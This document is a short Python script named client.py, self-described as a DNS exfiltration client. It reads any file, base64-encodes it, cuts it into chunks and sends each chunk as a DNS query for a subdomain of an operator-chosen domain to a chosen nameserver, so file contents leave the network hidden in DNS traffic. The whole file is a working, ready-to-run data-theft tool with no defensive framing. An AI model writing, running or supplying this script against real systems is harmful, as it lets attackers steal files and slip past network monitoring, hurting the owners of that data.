client.py

#!/usr/bin/env python3

import dns.resolver
import base64
import argparse

def chunk_data(data, chunk_size):
    return [data[i:i + chunk_size] for i in range(0, len(data), chunk_size)]

def main(file_path):
    with open(file_path, 'r') as file:
        file_data = file.read()

    encoded_data = base64.b64encode(file_data.encode()).decode()

    chunk_size = 50
    chunks = chunk_data(encoded_data, chunk_size)

    resolver = dns.resolver.Resolver()
    # resolver.nameservers = ['127.0.0.1']
    resolver.nameservers = args.nameservers.split(',')
    resolver.port = args.port

    for i, chunk in enumerate(chunks):
        QFDN = f"{i}-{chunk}.{args.domain}"
        try:
            result = resolver.resolve(QFDN, 'A')
        except Exception as e:
            print(f"[+] DNS query failed: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="DNS exfiltration client.")
    parser.add_argument("-f", "--file", required=True, help="Path to the file to exfiltrate.")
    parser.add_argument("--nameservers", default="127.0.0.1", help="Comma-separated list of nameservers, Server (IP/Hostname). Default is '127.0.0.1'.")
    parser.add_argument("-d", "--domain", required=True, help="Doamin to query data with it. ex:google.com")
    parser.add_argument("-p", "--port", type=int, default=53, help="Server listening port.")
    args = parser.parse_args()

    main(args.file)